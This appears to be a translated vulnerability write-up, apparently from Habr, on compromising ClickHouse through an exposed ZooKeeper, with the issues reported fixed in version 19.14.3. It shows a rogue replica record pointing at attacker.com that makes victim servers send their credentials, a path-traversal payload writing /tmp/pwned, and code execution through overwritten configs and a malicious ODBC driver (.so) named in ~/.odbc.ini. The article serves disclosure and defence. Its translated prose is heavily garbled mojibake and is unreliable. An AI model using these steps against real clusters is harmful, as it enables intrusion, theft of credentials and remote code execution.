α’ααααααααααΉαααααΆααααΈααΏααααΆαααααΆαααΆααααααααααΆααααΆαααα½ααα αααα»ααα·ααΈααΆαα αααα ClickHouse α αΎαααΉααααα αΆαααΈαααααααααααααΆααααα αΆαα’αΆα ααααΌαααΆααααααΈαα
ClickHouse ααΊααΆααΌαααααΆααα·αααααααααααΆαααααααΆαα»ααα·αααααααα αααααΆαα
αααΎαααααΎααΆαα
ααααα
αααΎαααΆααα½αα ααΆαααΆααα
ααααα αα·αααΆαα
αααααα
αααα»α ClickHouse ααααΌαααΆααααααΎαα‘αΎααα
ααΎααααΌα
ααΆαααα‘αΎα ZK ααααΆαααΎααα·ααααααΌαα±ααααΆαααΆααααααααααΆαααα ααΌα αααααααΆαααΈααα ZK ααΆααααΆαααααααααΎααΎααααΈααααααα ααΆαααααααα Kafka, Hadoop, ClickHouse ααΆαααΆααΆααΆαααα
ααΎααααΈααΆαααααααααααααΆααααα αΆαααααα’ααα α’ααααα½ααααααααααΆααααααααααΆαα αα·αααΆαα’αα»ααααΆαααΆαα·α αα αα αααααα‘αΎα ZooKeeper
αα·αααΆααααΆα Java deserializations αααααΆαααΌαααααΆαααΎ 0day ααα»αααααααααααΆα’αααααΆααααα αΆαα’αΆα α’αΆα αα·αααααααα ααΆαα ZooKeeper αααααααΎαααααΆααααΆαα αααα ClickHouse α
αα
αααααααααα
ααΆαααααααααα
αααα»αααααα
ααααα ClickHouse ααΆαααααααα½αα
ααα
αΆα /clickhouse/task_queue/ddl
.
α§ααΆα αααα’ααααααααΎαααααΆαα /clickhouse/task_queue/ddl/query-0001
ααΆαα½αααΉαααααΉαααΆαα
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
α αΎααααααΆααααΈααα ααΆααΆαααΆαααααααΉαααααΌαααΆααα»ααα ααΎ cluster servers host1 αα·α host2α DDL ααααΆααααααααΎαααΆααααα½α CREATE/ALTER/DROP αααααα
ααα‘αααα½αα±ααααααΆα ? ααα»ααααααΎα’αααααΆααααα αΆαα’αΆα ααα½αααΆαα’αΆααααααΆααααΆαααΈααααα α―ααΆ?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
ααααΆααααΉαααααΌαααΆααααααΎα αα½ααα ΠΈ αα·ααααααααααΆ.
ααΆαα·ααΆ /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ααΎα’αΆα
αααα
αΌααα·ααααααααΈα
ααααααααααΆααα? ααΆα/α
αΆα ααααα·αααΎα
αααα
αααα (TCP/9009
) αα
ααΎαααΆαααΈααα chXX-address
αααααΆααααααΎαααΉααα·αααααΌαααΆααα·ααα α αΎαααΆααααααααααΆααααΆαααααΉαααααΌααααααΆααααΆαα
ααααααΉααα·αααααΌαααΆαααααααα
ααΆααααααααααα ααΎααααΎααΌα
ααααα
ααΎααααΈααααααΆααααααααααΆαα?
α’αααααΆααααα αΆαα’αΆα
αααααΎαααΆαα
ααααααααΈαα
αααα»α ZK αααααααΆααααα
ααααααΆαα·ααΆααΈ /clickhouse/tables/01-01/foobar/replicas/chXX
αα·αααααΆααααααΌαα’αααααα host
.
ααΆαα·ααΆ /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
αααααΆαααα α’αααααααΌαααααΆααα’αααα
ααααααααααααααΆ ααΆααααα»ααα·ααααααααααΈαα
ααΎ server ααααα’αααααΆααααα αΆα ααααα½αααααααΌαααΆααα - node ααααΌαααΆααααααΎααα
αααα»α ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX ααΆαααΎαα‘αΎαααΆα―αααΆαααααΆααααααα½αααααααΆααααα
α»αααααααα
αααα»ααααααα ααα»ααααΉαααα·ααΆααα)α
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
αααααΆααααααααα ααααα_α
αααα - αααααα
ααααααααα’αααααΆααααα αΆααααααΆααααααΎααααα»αααα αΆααα»α, block_id - α§ααααααααααα’ααααααααΆααααα»ααα·αααααα, ααα½αααΆα - ααΆααααααααΆ "ααα½αααΆααααα»α" (αα·α
αααααΆαααα ααΆαα
ααααααΈαα½ααα’αΆαααααΉαααα·ααΆαααααααΈαα
αααα»ααααααα ααα» α αΎααα
ααΆαααααΆαααΈααααααααααααααααααα’αααααΆααααα αΆα ααΎααααΈααα½αααΆααααα»ααα·αααααα (αα·ααΈααΆαα
ααααααΊααΆαααααααααααααΈα αααααααΎαααΆααα
ααΎααααΌα HTTP)α αααΆαααΈααα attacker.com
ααΉαααα½αααΆαααααΎαα
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ααα XXX ααΊααΆαα·αααααααααααααααΆαααααααΆααααΆαα ααααα αααα»αααααΈαααα αααα’αΆα ααΆααααΈαααααΆααα·αααα·α αΌαααααΎααΌαααααΆααα·ααααααααΆαααααα·ααΈααΆα ClickHouse αα αα·ααα·ααΈααΆα HTTP α ααΌα αααα’αααααΆαααΎα ααααααΆααααα αΆαααααααΆααααααΆαα αααααΆα ZooKeeper αααααααΎαααααΆααααΆαα αααα ααααΌαααΆααα»αα ααααααα·αααΆαααΆαααααααα ααΆαααααααααααααααααΆααα
ααΌααααα‘ααααΎααα»αααΆαααααΆαααα½αααΆααααα»ααα·ααααααααΈααΆαα αααα ααΆααααΌαααΆαααααααααααΆααααα»αα α·αααααααααααΆααΆαα ααααααΆααα’αααααα·ααα αααααααΆααααααααααααααΉαααααΌα α αΎαααΆαααΆαααΏαα»αα α·ααααααΆααα½αααα
ααΌαααααΎαααΆαα
αααα
αα»αααΆαα’αΆααααααΈα―αααΆα αααααΆααααααααα ααα α ααΆαα·ααΆ α αΎααααααΆααααααααααα½αααΆαα ααααααααα―αααΆαα ααΆααΆαααααααααα»αααΆααα·αααααΆαααα‘ααααΈααααΆα’αααΈααααααααα·ααααααααααΌαααΆααααααΆαα»ααα αααα»αααααααααα―αααΆαα
ααΆαααααααΆα
αααΎααα
αααα»α /var/lib/clickhouse
(αααααΈαααα»αααααΆαααΎαααΈα―αααΆαααααααα
ααΆαααααααα)α
ααα - αααααααΆαααα
tmp α - ααα―αααΆααααααΆαααααααΆαα»αα―αααΆαααααααα’αΆαααα;
user_files - ααααα·ααααα·ααΆαααΆαα½αα―αααΆααααα»αααααΎααααΌαααΆααααααα
ααααααα―αααΆαααα (INTO OUTFILE αα·αααααααααα);
αα·ααααααααααΆ - α―αααΆα sql ααΆαα½αααΉαααΆααα·αααααΆααΆααΆα;
preprocessed_configs - ααααΎαααΆαα―αααΆαααααααα
ααΆααααααααααααΈααααΈ /etc/clickhouse-server
;
αα·αααααα - αααα·αααααΆααααΆαα½ααα·αααααααααα½αααΆ αααα»αααααΈααααααααΆααααΌαααααΆααα·ααααααααΈαα½αα ααααααΆα
ααααα‘αααα½αααααΌαααΆααααααΎαα‘αΎααααΆαααΆαααααα
ααΈααα (α§ααΆα ααα /var/lib/clickhouse/data/default
).
αααααΆααααΆααΆαααΈαα½αα αααααα½αααααΌαααΆααααααΎααα
αααα»ααααα·ααααααα αα½αααΈαα½ααααΊααΆα―αααΆαααΆα
ααααα‘ααα’αΆαααααααΎ
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
α―αααΆαα ααααααααΉαααΆααΉαααα½αααΆαα―αααΆααααααΆααααααααΌα ααααΆαα αααααααΎαααΆααααα»ααα·αααααα α αΎααα·αααααΎα±αααα½αααΆααΆααα»ααααΆαααΆααααααααΆαααΆαα½αα‘αΎαα
α’αααα’αΆααααααα
α·ααααα»αααΆαααααα ααααΆααΆαααΊαα½α
α αΎαα’αααΈααΆαααααΆαααα·αααΆααα»ααααα·ααΆααα file_name αα
αααα»ααα»αααΆααα½αα WriteBufferFromFile
. ααΆα/α
αΆα ααΆα’αα»ααααΆαα±ααα’αααααΆααααα αΆααααααααΆαα·ααΆααααΆααα
α―αααΆαααΆαα½ααα
ααΎ FS ααΆαα½αααΉααα·αααα·α’αααααααΎααααΆαα clickhouse
. ααΎααααΈααααΎααΌα
αααα α’αααα
αααααααααααααααααααα’αααααΆααααα αΆαααααΌααααααα‘ααααΆαααααΎαααααΆαααααααα
ααΉαααααΎ (ααΆαααααααααααΆααααααΌαααΆαααααααααΎααααΈααΆαααΆααααα½αααααΆααααααΉα)α
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
αα·ααααααΆααααΈααΆαααααΆααααααΆα ../../../../../../../../../tmp/pwned
α―αααΆαααΉαααααΌαααΆαααααα /tmp/pwned ααΆαα½αααΉαααΆαα·ααΆ hellofromzookeeper.
ααΆααααααΎαααΆα αααΎααααααΆαααααααααααααααΆααααααα―αααΆααα ααΆααΆαααααα·ααααα·ααΌαααΈα ααααΆα (RCE)α
αα ααΆαα»ααααααΆααααα αα αααα»α RCE
αα
αααα»αααααα
αΆαα αααααααΆαααΆαααααα ClickHouse ααααΌαααΆααααααΆαα»αααααα·αααα·α’αααααααΎααααΆαα ααααα
α»α
ααααΆαααΎαα α―αααΆαααΆααααααααΊααΆα―αααΆα XML αααααααΆααααα’αΆααα
αααα
αΆααααααΎα α αΎααααααΆαααααα»ααααα»αααααΆαααααααΆαα /var/lib/clickhouse/preprocessed_configs
. αα
ααααααααΆαααααΆααααααΌαααΎαα‘αΎα αα½αααααααΌαααΆαα’αΆαα‘αΎααα·αα ααααα·αααΎα’αααααΆααα·αααα·α
αΌαααααΎ /etc/clickhouse-server
α’αααααΆααααα αΆαα’αΆα
αααααΎααααα½αα―αααΆαα root
.
ODBC αα RCE
αα
αααααα‘αΎααααα
αα α’αααααααΎααααΆααααααΌαααΆααααααΎα clickhouse
ααα»ααααααααααααααααΆαα·αααααΌαααΆααααααΎαααα /nonexistent
. ααααααΆαααΆααααα αα
αααααααΎαα
ααΆαα»ααααααΆααααα
α¬αααααΆααα ααα»αααααααααα α’αααααααααααααααααΎααα /nonexistent
αα·ααααααα±ααα’αααααααΎααααΆαα clickhouse
ααΆαα
αΌαααααΎααΎααααΈααααααα
ααΆ (SSZB! αααα αα α’ααααααααα).
ClickHouse ααΆαααα odbc-bridge
ααΌα
ααααααΆαα·αα’αΆα
αααααΆααααααΌαα’αααααΎαααααΈααααΎααΆαααα ααα»ααααααΎα’αααααΆααααα αΆαα’αΆα
ααααααα
ααΆαααααααααααααααΎααΆαααΆαααααααααααααΆααα·αααααΆααΆαααΎαααα¬αα?
ααααααααΎαα―αααΆα ~/.odbc.ini
ααΆαα½αααΉαααααΉαααΆαααΌα
αααα
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
αααααΆαααααα
αααα
αΆααααααΎα SELECT * FROM odbc('DSN=lalala', 'test', 'test');
αααααΆαααααΉαααααΌαααΆααααα»α test.so
α αΎαααΆαααα½α RCE (ααΌαα’ααα»α
ααΆαααΆααααααααααΆααααα αα·αααΆαααΆααααααααααααααααααααΌαααΆααα½ααα»ααα αααα»α ClickHouse αααα 19.14.3 α αααααααΆ ClickHouse αα·α ZooKeepers ααααα’ααα!
ααααα: www.habr.com